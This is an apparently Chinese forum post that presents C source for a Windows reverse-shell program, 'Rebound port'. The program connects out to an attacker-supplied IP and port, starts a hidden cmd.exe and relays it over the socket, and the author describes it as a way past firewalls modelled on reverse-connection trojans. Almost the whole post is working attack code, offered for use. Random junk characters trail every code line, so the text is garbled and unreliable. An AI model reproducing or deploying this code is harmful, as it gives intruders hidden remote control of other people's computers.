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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <TDp8t9bU  
DO^ J=e  
/* ============================== q;)+O#CR  
Rebound port in Windows NT p9(|p Z  
By wind,2006/7 UyUz_6J  
===============================*/ w<P$)~6  
#include \{@n >Mh  
#include Xa xM$  
?=dp]E{  
#pragma comment(lib,"wsock32.lib") %aB RL6  
blk4@pg  
void OutputShell(); *M]@}'N  
SOCKET sClient; QF74'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &Rp/y%9  
<NYf!bx  
void main(int argc,char **argv) XH`W(  
{ JS^QfT,zE  
WSADATA stWsaData; 9sI&&Jg  
int nRet; <Rb[0E$  
SOCKADDR_IN stSaiClient,stSaiServer; MV?#g-5  
"8#EA<lsS  
if(argc != 3) ? koIZ  
{ sA|!b.q  
printf("Useage:\n\rRebound DestIP DestPort\n"); O!U8"Yr$  
return; _pN:p7l(  
} N fBH  
$[xS>iuD  
WSAStartup(MAKEWORD(2,2),&stWsaData); A0l-H/l7  
]=28s *@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); csd~)a nb  
)7jJ3G*  
stSaiClient.sin_family = AF_INET; 8JFvz(SK>  
stSaiClient.sin_port = htons(0); ;ipT0*Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >>b <)?3Rv  
m5_  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8:sQB% BB  
{ hqW),^\>'  
printf("Bind Socket Failed!\n"); g@2f& m  
return; t8ZzBD!dP  
} 5XzN%<_h9  
!Pc&Sg  
stSaiServer.sin_family = AF_INET; /_[?i"GW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pdySip<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V]5MIiNl  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0CpE,gg  
{ WS6;ad;|  
printf("Connect Error!"); !I jU*c@  
return; Ial"nV0>0  
} I&wJK'GM`  
OutputShell(); qHl>d*IZ  
} ]R*h3U@5#K  
qORL 7?{  
void OutputShell() <  UD90}  
{ r7jh)Q;BbR  
char szBuff[1024]; :SD#>eD0  
SECURITY_ATTRIBUTES stSecurityAttributes; }Y!v"DO#Q*  
OSVERSIONINFO stOsversionInfo; T$"sw7<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @gnLY  
STARTUPINFO stStartupInfo; 2 -pv &  
char *szShell; .G-L/*&%  
PROCESS_INFORMATION stProcessInformation; !<vy!pXg  
unsigned long lBytesRead; QmC#1%@a  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KP)t,\@f!  
s=>^ 8[0O  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O>eg_K,c  
stSecurityAttributes.lpSecurityDescriptor = 0; vc C"  
stSecurityAttributes.bInheritHandle = TRUE; B8~bx%)3T  
( TJGJY  
pnTz.)'46  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (tCBbPW6T?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /V }Z,'+  
.sSbU^U  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +xS<^;   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cI'su?  
stStartupInfo.wShowWindow = SW_HIDE; }ag;yf;  
stStartupInfo.hStdInput = hReadPipe; ~t<uX "K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a Z8f>t1Q  
k'NP+N<M  
GetVersionEx(&stOsversionInfo); ~U4Cf >  
OHv4Yy]$B  
switch(stOsversionInfo.dwPlatformId) x~ID[  
{ OkMAqS  
case 1: i_:#][nWX  
szShell = "command.com"; '=(D7F;  
break; $ I J^  
default: +k V$ @qH  
szShell = "cmd.exe"; 6OR)97  
break; a- lF}P\  
} ; o(:}d  
X/ Ii}X/p  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0J6* U[  
 81!gp7c  
send(sClient,szMsg,77,0); >D Ai-`e  
while(1) DiskGq@T  
{ {I/t3.R`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ';m;K (g  
if(lBytesRead) 3 bT?4  
{ F_&H*kL L3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .hjN*4RY  
send(sClient,szBuff,lBytesRead,0); >`<qa!9  
} 2t?Vl%<  
else `O!yt  
{ ts; ^,|h  
lBytesRead=recv(sClient,szBuff,1024,0); wScr:o+K>L  
if(lBytesRead<=0) break; -"I9`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -XnOj2  
} !b$]D?=}  
} >3}N;  
l5D4 ?`|  
return; ^O}J',Fm%f  
}
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